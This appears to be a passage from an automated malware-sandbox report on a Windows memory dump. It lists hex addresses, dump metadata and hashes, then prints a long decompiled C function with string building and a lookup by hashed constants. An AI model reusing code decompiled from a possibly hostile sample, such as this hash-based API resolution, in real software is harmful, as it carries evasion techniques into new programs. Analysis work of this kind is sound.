0x6ebb441e
0x6ebb4423
0x6ebb4427
0x6ebb442d
0x00000000
0x00000000
0x6ebb4433
0x6ebb4438
0x00000000
0x6ebb443a
0x6ebb443a
0x6ebb4444
0x00000000
0x6ebb4446
0x6ebb4446
0x6ebb4450
0x6ebb4457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4457
0x00000000
0x6ebb4446
0x6ebb4444
0x00000000
0x6ebb4438
0x6ebb4be6
0x6ebb4be8
0x6ebb4beb
0x6ebb4bef
0x00000000
0x6ebb43ee
0x6ebb43f0
0x6ebb43f2
0x6ebb43f5
0x6ebb43ff
0x6ebb4402
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4402
0x6ebb4bf1
0x6ebb4bf3
0x6ebb4459
0x6ebb4459
0x6ebb4461
0x6ebb4466
0x6ebb4469
0x6ebb446d
0x6ebb4473
0x6ebb4478
0x6ebb4483
0x6ebb4489
0x6ebb4498
0x6ebb449d
0x6ebb449f
0x6ebb44a3
0x6ebb44a8
0x6ebb44ab
0x6ebb44af
0x6ebb44af
0x6ebb44b3
0x6ebb44b7
0x6ebb44cd
0x6ebb44d2
0x6ebb44d2
0x6ebb44d5
0x6ebb44dc
0x6ebb44de
0x6ebb44e3
0x6ebb46f5
0x6ebb44e9
0x6ebb44eb
0x6ebb44ed
0x6ebb44f2
0x6ebb4685
0x6ebb468c
0x6ebb4690
0x6ebb4693
0x6ebb4697
0x6ebb46e3
0x6ebb4699
0x6ebb469e
0x6ebb46a0
0x6ebb46a4
0x6ebb46a7
0x6ebb46ab
0x6ebb46ad
0x6ebb46b1
0x6ebb46b3
0x6ebb46b5
0x6ebb46b5
0x6ebb46b6
0x6ebb46bb
0x6ebb46c1
0x00000000
0x00000000
0x6ebb46c3
0x6ebb46c7
0x6ebb46cc
0x00000000
0x00000000
0x00000000
0x6ebb46cc
0x6ebb46ce
0x6ebb46ce
0x6ebb46ab
0x6ebb46d2
0x6ebb46d4
0x6ebb46d5
0x6ebb46da
0x6ebb46da
0x6ebb46ea
0x6ebb46ec
0x6ebb4501
0x6ebb4503
0x6ebb4506
0x6ebb4528
0x6ebb452c
0x6ebb4538
0x6ebb453e
0x6ebb4542
0x6ebb4544
0x6ebb4544
0x6ebb4549
0x6ebb454d
0x6ebb4553
0x00000000
0x00000000
0x6ebb4559
0x6ebb455e
0x00000000
0x6ebb4560
0x6ebb4560
0x6ebb456c
0x6ebb4582
0x6ebb4582
0x6ebb456e
0x6ebb456e
0x6ebb4570
0x6ebb457a
0x6ebb4580
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4580
0x6ebb4b84
0x6ebb4b84
0x6ebb456c
0x00000000
0x6ebb455e
0x6ebb4b8d
0x6ebb4b92
0x6ebb4508
0x6ebb4508
0x6ebb4512
0x6ebb4516
0x6ebb4519
0x6ebb4523
0x6ebb4526
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb4526
0x6ebb4b9b
0x6ebb4b9b
0x6ebb458a
0x6ebb4593
0x6ebb4599
0x6ebb459e
0x6ebb45b7
0x6ebb45ba
0x6ebb45be
0x6ebb45c4
0x6ebb45cc
0x6ebb45cc
0x6ebb45d8
0x6ebb45db
0x6ebb45df
0x6ebb45e0
0x6ebb45e5
0x6ebb45e9
0x6ebb45ec
0x6ebb45f0
0x6ebb463c
0x6ebb45f2
0x6ebb45f7
0x6ebb45f9
0x6ebb45fb
0x6ebb45fe
0x6ebb4602
0x6ebb4604
0x6ebb4607
0x6ebb4609
0x6ebb460d
0x6ebb460f
0x6ebb460f
0x6ebb4610
0x6ebb4615
0x6ebb461b
0x00000000
0x00000000
0x6ebb461d
0x6ebb4621
0x6ebb4626
0x00000000
0x00000000
0x00000000
0x6ebb4626
0x6ebb4628
0x6ebb462b
0x6ebb462b
0x6ebb4602
0x6ebb462f
0x6ebb4631
0x6ebb4632
0x6ebb4637
0x6ebb4637
0x6ebb4647
0x6ebb464a
0x6ebb45a0
0x6ebb45a0
0x6ebb45a0
0x6ebb4651
0x6ebb4657
0x6ebb465b
0x6ebb465d
0x6ebb4661
0x6ebb4665
0x6ebb4665
0x6ebb4666
0x6ebb466b
0x6ebb4671
0x00000000
0x00000000
0x6ebb467d
0x00000000
0x6ebb467f
0x6ebb467f
0x6ebb467f
0x00000000
0x6ebb467d
0x6ebb4b77
0x6ebb4b7b
0x6ebb4b7b
0x6ebb4651
0x6ebb44f2
0x6ebb46f7
0x6ebb4703
0x6ebb470c
0x6ebb470d
0x6ebb4711
0x00000000
0x6ebb4bf9
0x6ebb4bf3
0x6ebb43ec
0x6ebb4713
0x6ebb4713
0x6ebb471d
0x6ebb4721
0x6ebb4725
0x6ebb472a
0x6ebb4a96
0x6ebb4a98
0x6ebb4a9c
0x6ebb4aa0
0x6ebb4aa6
0x6ebb4aaa
0x6ebb4aac
0x6ebb4bd2
0x6ebb4ab2
0x6ebb4ab4
0x6ebb4ab8
0x6ebb4aba
0x6ebb4abc
0x6ebb4abc
0x6ebb4ac1
0x6ebb4ac3
0x6ebb4ac5
0x6ebb4aca
0x6ebb4aca
0x6ebb4ace
0x6ebb4ad4
0x6ebb4ad6
0x6ebb4ad8
0x6ebb4add
0x6ebb4add
0x6ebb4ae1
0x6ebb4ae2
0x6ebb4ae6
0x6ebb4ae8
0x6ebb4aea
0x6ebb4aee
0x6ebb4aee
0x6ebb4aee
0x6ebb4af2
0x6ebb4af7
0x6ebb4af9
0x6ebb4aff
0x6ebb4b01
0x6ebb4b03
0x6ebb4b08
0x6ebb4b08
0x6ebb4aff
0x6ebb4af7
0x6ebb4730
0x6ebb4730
0x6ebb4736
0x6ebb4738
0x6ebb473d
0x6ebb479a
0x6ebb479a
0x6ebb473f
0x6ebb4741
0x6ebb4744
0x6ebb4746
0x6ebb4bdc
0x6ebb474c
0x6ebb474c
0x6ebb4750
0x6ebb4752
0x6ebb4754
0x6ebb4754
0x6ebb4759
0x6ebb475b
0x6ebb475d
0x6ebb4762
0x6ebb4762
0x6ebb4765
0x6ebb476b
0x6ebb476d
0x6ebb476f
0x6ebb4774
0x6ebb4774
0x6ebb4777
0x6ebb4778
0x6ebb477c
0x6ebb4780
0x6ebb4780
0x6ebb4780
0x6ebb4784
0x6ebb4789
0x6ebb478b
0x6ebb4791
0x6ebb4793
0x6ebb4795
0x00000000
0x6ebb4795
0x6ebb4791
0x6ebb4789
0x6ebb479d
0x6ebb479f
0x6ebb47a0
0x6ebb47a5
0x6ebb47a8
0x6ebb47ac
0x6ebb47b5
0x6ebb47d6
0x6ebb47e0
0x6ebb47e4
0x6ebb47e7
0x6ebb47ec
0x6ebb47ef
0x6ebb47f3
0x6ebb47f6
0x6ebb47fa
0x00000000
0x6ebb47fc
0x6ebb47fc
0x6ebb4800
0x6ebb4802
0x6ebb4806
0x6ebb4806
0x6ebb4808
0x6ebb480e
0x6ebb4810
0x6ebb4815
0x6ebb4a74
0x6ebb4a76
0x6ebb481b
0x6ebb481d
0x6ebb481e
0x6ebb4826
0x6ebb4828
0x6ebb4831
0x6ebb4835
0x6ebb483c
0x6ebb483c
0x6ebb4842
0x6ebb4844
0x6ebb4847
0x6ebb484b
0x6ebb4a04
0x6ebb4a06
0x6ebb4a0b
0x6ebb4a0f
0x6ebb4a12
0x6ebb4a16
0x6ebb4a63
0x6ebb4a18
0x6ebb4a1c
0x6ebb4a1e
0x6ebb4a20
0x6ebb4a23
0x6ebb4a27
0x6ebb4a29
0x6ebb4a2d
0x6ebb4a2f
0x6ebb4a33
0x6ebb4a35
0x6ebb4a35
0x6ebb4a36
0x6ebb4a3b
0x6ebb4a41
0x00000000
0x00000000
0x6ebb4a43
0x6ebb4a47
0x6ebb4a4c
0x00000000
0x00000000
0x00000000
0x6ebb4a4c
0x6ebb4a4e
0x6ebb4a52
0x6ebb4a52
0x6ebb4a27
0x6ebb4a56
0x6ebb4a58
0x6ebb4a59
0x6ebb4a5e
0x6ebb4a5e
0x6ebb4a69
0x6ebb4a6b
0x6ebb485a
0x6ebb485c
0x6ebb485f
0x6ebb4881
0x6ebb4885
0x6ebb4891
0x6ebb4896
0x6ebb489a
0x6ebb489e
0x6ebb48a0
0x6ebb48a0
0x6ebb48a5
0x6ebb48a9
0x6ebb48af
0x00000000
0x00000000
0x6ebb48b5
0x6ebb48ba
0x00000000
0x6ebb48bc
0x6ebb48bc
0x6ebb48c0
0x6ebb48cc
0x6ebb48e4
0x6ebb48e4
0x6ebb48ce
0x6ebb48ce
0x6ebb48d2
0x6ebb48dc
0x6ebb48e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb48e2
0x00000000
0x6ebb48d2
0x6ebb48cc
0x00000000
0x6ebb48ba
0x6ebb4bc0
0x6ebb4bc5
0x6ebb4bc9
0x6ebb4861
0x6ebb4861
0x6ebb486b
0x6ebb486f
0x6ebb4872
0x6ebb487c
0x6ebb487f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb487f
0x6ebb4bb7
0x6ebb4bb7
0x6ebb4bb7
0x6ebb48ec
0x6ebb48fb
0x6ebb4900
0x6ebb4913
0x6ebb4916
0x6ebb491a
0x6ebb491f
0x6ebb4927
0x6ebb4927
0x6ebb4934
0x6ebb4937
0x6ebb493b
0x6ebb493c
0x6ebb4940
0x6ebb4945
0x6ebb4949
0x6ebb494b
0x6ebb494e
0x6ebb4950
0x6ebb4956
0x6ebb49bc
0x6ebb4958
0x6ebb495a
0x6ebb495c
0x6ebb495f
0x6ebb4963
0x6ebb4965
0x6ebb4969
0x6ebb496b
0x6ebb496f
0x6ebb4973
0x6ebb4977
0x6ebb4977
0x6ebb4978
0x6ebb497d
0x6ebb4983
0x00000000
0x00000000
0x6ebb4985
0x6ebb4989
0x6ebb498e
0x00000000
0x00000000
0x00000000
0x6ebb498e
0x6ebb4990
0x6ebb4994
0x6ebb4998
0x6ebb4998
0x6ebb4963
0x6ebb499c
0x6ebb499e
0x6ebb49a2
0x6ebb49a6
0x6ebb49aa
0x6ebb49af
0x6ebb49b3
0x6ebb49b7
0x6ebb49b7
0x6ebb49c3
0x6ebb49c6
0x6ebb4902
0x6ebb4902
0x6ebb4902
0x6ebb49ca
0x6ebb49d2
0x6ebb49d6
0x6ebb49da
0x6ebb49dc
0x6ebb49e0
0x6ebb49e0
0x6ebb49e1
0x6ebb49e6
0x6ebb49ec
0x00000000
0x00000000
0x6ebb49f8
0x00000000
0x6ebb49fa
0x6ebb49fa
0x6ebb49fe
0x6ebb49fe
0x00000000
0x6ebb49f8
0x6ebb4ba6
0x6ebb4baa
0x6ebb4bae
0x6ebb4bae
0x6ebb49ca
0x6ebb484b
0x6ebb4a7d
0x6ebb4a7d
0x6ebb4a84
0x6ebb4a88
0x6ebb4a90
0x6ebb4a92
0x00000000
0x6ebb4a92
0x6ebb47b7
0x6ebb47b7
0x6ebb47b9
0x6ebb47bd
0x6ebb47c1
0x6ebb47c1
0x6ebb47b5
0x6ebb472a
0x6ebb43b7
0x6ebb4b0c
0x6ebb4b0e
0x6ebb4b0f
0x6ebb4b17
0x6ebb4b2a
0x6ebb4b2a
0x00000000

Strings

, xrefs: 6EBB3EF7

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3688684798
Opcode ID: bd81273a9b959f50ce4e50eb156d6138c1fe032f2e6ae32fe745ebf9e9cf346a
Instruction ID: 845ae74e6963ba5aa1a88609d5aca3a1a254317657ed178f5c8ff4574b2c371c
Opcode Fuzzy Hash: bd81273a9b959f50ce4e50eb156d6138c1fe032f2e6ae32fe745ebf9e9cf346a
Instruction Fuzzy Hash: 0792D4706087D38FD715CEA9849033ABFE2FF85304F148A6DE9A59B351EB74D8468782

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB62F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E6EBB62F0(intOrPtr* __ecx, signed int __edx, void* __eflags, char _a4) {
				intOrPtr* _v24;
				char _v32;
				intOrPtr _v36;
				unsigned int _v40;
				signed int _v44;
				signed int _v52;
				char _v56;
				unsigned int _v60;
				unsigned int _v64;
				signed int _v68;
				signed int _t264;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				void* _t272;
				char _t278;
				char _t279;
				char* _t281;
				signed int _t282;
				char _t283;
				void* _t287;
				char _t290;
				char _t291;
				char* _t293;
				signed int _t294;
				char _t295;
				signed int _t304;
				intOrPtr* _t306;
				intOrPtr* _t308;
				signed int _t310;
				signed int _t311;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				char* _t320;
				char* _t321;
				unsigned int _t322;
				unsigned int _t327;
				signed int _t329;
				signed int _t330;
				signed int _t332;
				signed int _t333;
				signed int _t336;
				signed int _t338;
				signed int _t339;
				signed int _t342;
				char* _t343;
				char* _t344;
				signed int _t346;
				signed int _t348;
				signed int _t349;
				signed int _t352;
				char* _t353;
				char* _t357;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t365;
				unsigned int _t375;
				signed int _t377;
				signed int _t381;
				signed int _t387;
				signed int _t389;
				signed int _t390;
				signed int _t395;
				signed int _t407;
				signed int _t417;
				char* _t418;
				char _t420;
				signed int _t421;
				void* _t431;
				char _t432;
				char _t434;
				char _t435;
				char* _t436;
				char _t438;
				char* _t439;
				char _t440;
				signed int _t441;
				void* _t451;
				char _t452;
				char _t454;
				char _t455;
				char* _t456;
				char _t458;
				char _t460;
				char _t461;
				signed int _t463;
				signed int _t465;
				void* _t469;
				char _t471;
				char _t472;
				signed int _t476;
				void* _t478;
				char _t480;
				char _t481;
				void* _t482;
				char _t484;
				char _t485;
				char _t489;
				char _t490;
				char _t491;
				char _t492;
				char _t493;
				char _t494;
				signed int _t497;
				char* _t499;
				void* _t505;
				unsigned int _t506;
				void* _t512;
				char* _t514;
				void* _t520;
				void* _t521;
				void* _t522;
				void* _t523;
				signed int _t524;
				void* _t531;
				void* _t537;
				void* _t543;
				signed int _t544;
				signed int _t548;
				void* _t551;
				void* _t552;
				void* _t553;

				_t306 = __ecx;
				_push(0x40);
				_t496 = __edx;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_t514 = E6EBA1030();
				_t551 = (_t548 & 0xfffffff0) - 0x34 + 4;
				_t320 =  *__ecx;
				if(_t320 == 0) {
					 *_t514 = 0;
				} else {
					if(_t514 != 0) {
						_t492 =  *_t320;
						 *_t514 = _t492;
						if(_t492 != 0) {
							_v68 = __edx;
							_t304 = 0;
							while(1) {
								_t304 = _t304 + 1;
								_t493 =  *((char*)(_t320 + _t304 * 2 - 1));
								 *((char*)(_t514 + _t304 * 2 - 1)) = _t493;
								if(_t493 == 0) {
									break;
								}
								_t494 =  *((char*)(_t320 + _t304 * 2));
								 *((char*)(_t514 + _t304 * 2)) = _t494;
								if(_t494 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
					}
					_push(1);
					_push(_t320);
					E6EBA10B0();
					_t551 = _t551 + 8;
				}
				_v44 = 0;
				_push(0x40);
				 *_t306 = _t514;
				 *((intOrPtr*)(_t306 + 4)) = 0x40;
				_t264 = E6EBA1030();
				_t552 = _t551 + 4;
				_t321 = _v44;
				if(_t321 == 0) {
					 *_t264 = 0;
					_v40 = 0x40;
					_v44 = _t264;
					goto L18;
				} else {
					if(_t264 == 0) {
						_push(1);
						_push(_t321);
						E6EBA10B0();
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_t520 = 0;
						_v44 = 0;
						goto L29;
					} else {
						_t489 =  *_t321;
						 *_t264 = _t489;
						if(_t489 != 0) {
							_v40 = 0;
							_t544 = 0;
							_v68 = _t496;
							while(1) {
								_t544 = _t544 + 1;
								_t490 =  *((char*)(_t321 + _t544 * 2 - 1));
								 *((char*)(_t264 + _t544 * 2 - 1)) = _t490;
								if(_t490 == 0) {
									break;
								}
								_t491 =  *((char*)(_t321 + _t544 * 2));
								 *((char*)(_t264 + _t544 * 2)) = _t491;
								if(_t491 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
						_push(1);
						_push(_t321);
						_v64 = _t264;
						E6EBA10B0();
						_t264 = _v64;
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_v44 = _t264;
						L18:
						_t387 = _t264 & 0x0000000f;
						if(_t387 == 0) {
							L22:
							asm("pxor xmm0, xmm0");
							_t520 =  ~( ~_t387 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [eax+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								if(_t321 != 0) {
									break;
								}
								_t387 = _t387 + 0x10;
								if(_t387 < _t520) {
									continue;
								} else {
									if(_t520 >= 0x7fffffff) {
										L28:
										_t520 = 0x7fffffff;
										goto L29;
									} else {
										while( *((char*)(_t520 + _t264)) != 0) {
											_t520 = _t520 + 1;
											if(_t520 < 0x7fffffff) {
												continue;
											} else {
												goto L28;
											}
											goto L30;
										}
										goto L250;
									}
								}
								goto L30;
							}
							asm("bsf esi, ecx");
							_t520 = _t520 + _t387;
							goto L250;
						} else {
							_t520 = 0;
							_t387 =  ~_t387 + 0x10;
							while( *((char*)(_t520 + _t264)) != 0) {
								_t520 = _t520 + 1;
								if(_t520 < _t387) {
									continue;
								} else {
									goto L22;
								}
								goto L30;
							}
							L250:
							if(_t520 != 0xfffffffe || _t264 == 0) {
								L29:
								_t322 = 0x40;
							} else {
								 *_t264 = 0;
								_t322 = _v40;
							}
							goto L30;
							L124:
							 *((char*)(_t269 + _t523)) = 0x64;
							_t417 = _v44;
							 *((char*)(_t523 + _t417 + 1)) = 0;
							if(_a4 == 0) {
								_v32 = _t496;
								_t497 = _v44;
								_v36 = _t497;
								_push(0x200);
								_t524 = E6EBA1030();
								_t553 = _t552 + 4;
								_v24 = _t306;
								_t272 = E6EBA15C0(0x588ab3ea, 0x8a156a0e);
								if(_t272 == 0) {
									_t308 = _v24;
									if(_t524 == 0 ||  *_t524 == 0) {
										_t418 =  *_t308;
										if(_t418 != 0) {
											 *_t418 = 0;
										}
										if( *((intOrPtr*)(_t308 + 4)) < 0x40) {
											_push(0x40);
											_t499 = E6EBA1030();
											_t553 = _t553 + 4;
											_t344 =  *_t308;
											if(_t344 == 0) {
												 *_t499 = 0;
											} else {
												if(_t499 != 0) {
													_t420 =  *_t344;
													 *_t499 = _t420;
													if(_t420 != 0) {
														_v24 = _t308;
														_t421 = 0;
														while(1) {
															_t421 = _t421 + 1;
															_t278 =  *((char*)(_t344 + _t421 * 2 - 1));
															 *((char*)(_t499 + _t421 * 2 - 1)) = _t278;
															if(_t278 == 0) {
																break;
															}
															_t279 =  *((char*)(_t344 + _t421 * 2));
															 *((char*)(_t499 + _t421 * 2)) = _t279;
															if(_t279 != 0) {
																continue;
															}
															break;
														}
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t344);
												E6EBA10B0();
												_t553 = _t553 + 8;
											}
											goto L225;
										}
									} else {
										_t346 = _t524 & 0x0000000f;
										if(_t346 == 0) {
											L184:
											asm("pxor xmm0, xmm0");
											_t505 =  ~( ~_t346 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm1, [esi+ecx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb edx, xmm1");
												if(_t417 != 0) {
													break;
												}
												_t346 = _t346 + 0x10;
												if(_t346 < _t505) {
													continue;
												} else {
													if(_t505 >= 0x7fffffff) {
														L190:
														_t505 = 0x7fffffff;
													} else {
														while( *((char*)(_t505 + _t524)) != 0) {
															_t505 = _t505 + 1;
															if(_t505 < 0x7fffffff) {
																continue;
															} else {
																goto L190;
															}
															goto L191;
														}
														goto L234;
													}
												}
												goto L191;
											}
											asm("bsf edi, edx");
											_t505 = _t505 + _t346;
											goto L234;
										} else {
											_t505 = 0;
											_t346 =  ~_t346 + 0x10;
											while( *((char*)(_t505 + _t524)) != 0) {
												_t505 = _t505 + 1;
												if(_t505 < _t346) {
													continue;
												} else {
													goto L184;
												}
												goto L191;
											}
											L234:
											if(_t505 == 0xffffffff) {
												_t436 =  *_t308;
												if(_t436 != 0) {
													 *_t436 = 0;
												}
											}
										}
										L191:
										_t216 = _t505 + 1; // 0x80000000
										_t348 =  <=  ? 0x40 : _t216;
										if(_t348 >  *((intOrPtr*)(_t308 + 4))) {
											_v64 = (_t348 >> 5 >> 0x1a) + _t348 >> 6;
											_t349 = _t348 & 0x8000003f;
											if(_t349 < 0) {
												_t349 = (_t349 - 0x00000001 | 0xffffffc0) + 1;
											}
											_t352 = _v64 + (0 | _t349 > 0x00000000) << 6;
											_v64 = _t352;
											_push(_t352);
											_t353 = E6EBA1030();
											_t553 = _t553 + 4;
											_t281 =  *_t308;
											if(_t281 == 0) {
												 *_t353 = 0;
											} else {
												if(_t353 != 0) {
													_t432 =  *_t281;
													 *_t353 = _t432;
													if(_t432 != 0) {
														_v68 = _t524;
														_v24 = _t308;
														_t311 = 0;
														while(1) {
															_t311 = _t311 + 1;
															_t434 =  *((char*)(_t281 + _t311 * 2 - 1));
															 *((char*)(_t353 + _t311 * 2 - 1)) = _t434;
															if(_t434 == 0) {
																break;
															}
															_t435 =  *((char*)(_t281 + _t311 * 2));
															 *((char*)(_t353 + _t311 * 2)) = _t435;
															if(_t435 != 0) {
																continue;
															}
															break;
														}
														_t524 = _v68;
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t281);
												_v68 = _t353;
												E6EBA10B0();
												_t353 = _v68;
												_t553 = _t553 + 8;
											}
											 *((intOrPtr*)(_t308 + 4)) = _v64;
											 *_t308 = _t353;
										} else {
											_t353 =  *_t308;
										}
										_t282 = _t524;
										if(_t353 != 0 && _t524 != 0) {
											_v24 = _t308;
											_t431 = 0;
											_t310 = _t282;
											while(1) {
												_t283 =  *_t310;
												_t431 = _t431 + 1;
												 *_t353 = _t283;
												if(_t505 != 0 && _t431 == _t505) {
													goto L228;
												}
												if(_t283 == 0) {
													goto L229;
												} else {
													_t353 = _t353 + 1;
													_t310 = _t310 + 1;
													continue;
												}
												goto L226;
											}
											goto L228;
										}
									}
									goto L226;
								} else {
									_push( &_v32);
									_push(_t497);
									_push(0x200);
									_push(_t524);
									asm("int3");
									return _t272;
								}
							} else {
								_v52 = _t496;
								_t438 = _a4;
								_t506 = _v44;
								_v56 = _t438;
								_v60 = _t506;
								_push(0x200);
								_t524 = E6EBA1030();
								_t553 = _t552 + 4;
								_v24 = _t306;
								_t287 = E6EBA15C0(0x588ab3ea, 0x8a156a0e);
								if(_t287 == 0) {
									_t308 = _v24;
									if(_t524 == 0 ||  *_t524 == 0) {
										_t439 =  *_t308;
										if(_t439 != 0) {
											 *_t439 = 0;
										}
										if( *((intOrPtr*)(_t308 + 4)) < 0x40) {
											_push(0x40);
											_t499 = E6EBA1030();
											_t553 = _t553 + 4;
											_t357 =  *_t308;
											if(_t357 == 0) {
												 *_t499 = 0;
											} else {
												if(_t499 != 0) {
													_t440 =  *_t357;
													 *_t499 = _t440;
													if(_t440 != 0) {
														_v24 = _t308;
														_t441 = 0;
														while(1) {
															_t441 = _t441 + 1;
															_t290 =  *((char*)(_t357 + _t441 * 2 - 1));
															 *((char*)(_t499 + _t441 * 2 - 1)) = _t290;
															if(_t290 == 0) {
																break;
															}
															_t291 =  *((char*)(_t357 + _t441 * 2));
															 *((char*)(_t499 + _t441 * 2)) = _t291;
															if(_t291 != 0) {
																continue;
															}
															break;
														}
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t357);
												E6EBA10B0();
												_t553 = _t553 + 8;
											}
											L225:
											 *_t308 = _t499;
											 *((intOrPtr*)(_t308 + 4)) = 0x40;
										}
									} else {
										_t359 = _t524 & 0x0000000f;
										if(_t359 == 0) {
											L134:
											asm("pxor xmm0, xmm0");
											_t512 =  ~( ~_t359 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm1, [esi+ecx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb edx, xmm1");
												if(_t438 != 0) {
													break;
												}
												_t359 = _t359 + 0x10;
												if(_t359 < _t512) {
													continue;
												} else {
													if(_t512 >= 0x7fffffff) {
														L140:
														_t512 = 0x7fffffff;
													} else {
														while( *((char*)(_t512 + _t524)) != 0) {
															_t512 = _t512 + 1;
															if(_t512 < 0x7fffffff) {
																continue;
															} else {
																goto L140;
															}
															goto L141;
														}
														goto L230;
													}
												}
												goto L141;
											}
											asm("bsf edi, edx");
											_t512 = _t512 + _t359;
											goto L230;
										} else {
											_t512 = 0;
											_t359 =  ~_t359 + 0x10;
											while( *((char*)(_t512 + _t524)) != 0) {
												_t512 = _t512 + 1;
												if(_t512 < _t359) {
													continue;
												} else {
													goto L134;
												}
												goto L141;
											}
											L230:
											if(_t512 == 0xffffffff) {
												_t456 =  *_t308;
												if(_t456 != 0) {
													 *_t456 = 0;
												}
											}
										}
										L141:
										_t171 = _t512 + 1; // 0x80000000
										_t361 =  <=  ? 0x40 : _t171;
										if(_t361 >  *((intOrPtr*)(_t308 + 4))) {
											_v64 = (_t361 >> 5 >> 0x1a) + _t361 >> 6;
											_t362 = _t361 & 0x8000003f;
											if(_t362 < 0) {
												_t362 = (_t362 - 0x00000001 | 0xffffffc0) + 1;
											}
											_t365 = _v64 + (0 | _t362 > 0x00000000) << 6;
											_v64 = _t365;
											_push(_t365);
											_t353 = E6EBA1030();
											_t553 = _t553 + 4;
											_t293 =  *_t308;
											if(_t293 == 0) {
												 *_t353 = 0;
											} else {
												if(_t353 != 0) {
													_t452 =  *_t293;
													 *_t353 = _t452;
													if(_t452 != 0) {
														_v68 = _t524;
														_v24 = _t308;
														_t314 = 0;
														while(1) {
															_t314 = _t314 + 1;
															_t454 =  *((char*)(_t293 + _t314 * 2 - 1));
															 *((char*)(_t353 + _t314 * 2 - 1)) = _t454;
															if(_t454 == 0) {
																break;
															}
															_t455 =  *((char*)(_t293 + _t314 * 2));
															 *((char*)(_t353 + _t314 * 2)) = _t455;
															if(_t455 != 0) {
																continue;
															}
															break;
														}
														_t524 = _v68;
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t293);
												_v68 = _t353;
												E6EBA10B0();
												_t353 = _v68;
												_t553 = _t553 + 8;
											}
											 *((intOrPtr*)(_t308 + 4)) = _v64;
											 *_t308 = _t353;
										} else {
											_t353 =  *_t308;
										}
										_t294 = _t524;
										if(_t353 != 0 && _t524 != 0) {
											_v24 = _t308;
											_t451 = 0;
											_t313 = _t294;
											while(1) {
												_t295 =  *_t313;
												_t451 = _t451 + 1;
												 *_t353 = _t295;
												if(_t512 != 0 && _t451 == _t512) {
													break;
												}
												if(_t295 == 0) {
													L229:
													_t308 = _v24;
												} else {
													_t353 = _t353 + 1;
													_t313 = _t313 + 1;
													continue;
												}
												goto L226;
											}
											L228:
											_t308 = _v24;
											 *((char*)(_t353 + 1)) = 0;
										}
									}
									L226:
									_push(1);
									_push(_t524);
									E6EBA10B0();
									_push(1);
									_push(_v44);
									E6EBA10B0();
									_v44 = 0;
									_v40 = 0;
									return _t308;
								} else {
									_push( &_v56);
									_push(_t506);
									_push(0x200);
									_push(_t524);
									asm("int3");
									return _t287;
								}
							}
						}
					}
				}
				L30:
				_t34 = _t520 + 2; // -2147483660
				_t389 =  <=  ? 0x40 : _t34;
				if(_t322 < _t389) {
					_t327 = (_t389 >> 5 >> 0x1a) + _t389 >> 6;
					_v60 = _t327;
					_t390 = _t389 & 0x8000003f;
					if(_t390 < 0) {
						_t390 = (_t390 - 0x00000001 | 0xffffffc0) + 1;
					}
					_t329 = _t327 + (0 | _t390 > 0x00000000) << 6;
					_v60 = _t329;
					_push(_t329);
					_t266 = E6EBA1030();
					_t552 = _t552 + 4;
					_t330 = _v44;
					if(_t330 == 0) {
						 *_t266 = 0;
					} else {
						if(_t266 != 0) {
							_t482 =  *_t330;
							 *_t266 = _t482;
							if(_t482 != 0) {
								_v24 = _t306;
								_t318 = 0;
								_v68 = _t496;
								while(1) {
									_t318 = _t318 + 1;
									_t484 =  *((char*)(_t330 + _t318 * 2 - 1));
									 *((char*)(_t266 + _t318 * 2 - 1)) = _t484;
									if(_t484 == 0) {
										break;
									}
									_t485 =  *((char*)(_t330 + _t318 * 2));
									 *((char*)(_t266 + _t318 * 2)) = _t485;
									if(_t485 != 0) {
										continue;
									}
									break;
								}
								_t306 = _v24;
								_t496 = _v68;
							}
						}
						_push(1);
						_push(_t330);
						_v64 = _t266;
						E6EBA10B0();
						_t266 = _v64;
						_t552 = _t552 + 8;
					}
					_v40 = _v60;
					_v44 = _t266;
				} else {
					_t266 = _v44;
				}
				 *((char*)(_t266 + _t520)) = 0x25;
				 *((char*)(_t520 + _v44 + 1)) = 0;
				if(_a4 != 0) {
					_t395 = _v44;
					if(_t395 == 0) {
						_t521 = 0;
					} else {
						_t381 = _t395 & 0x0000000f;
						if(_t381 == 0) {
							L51:
							asm("pxor xmm0, xmm0");
							_t543 =  ~( ~_t381 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [edx+ecx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
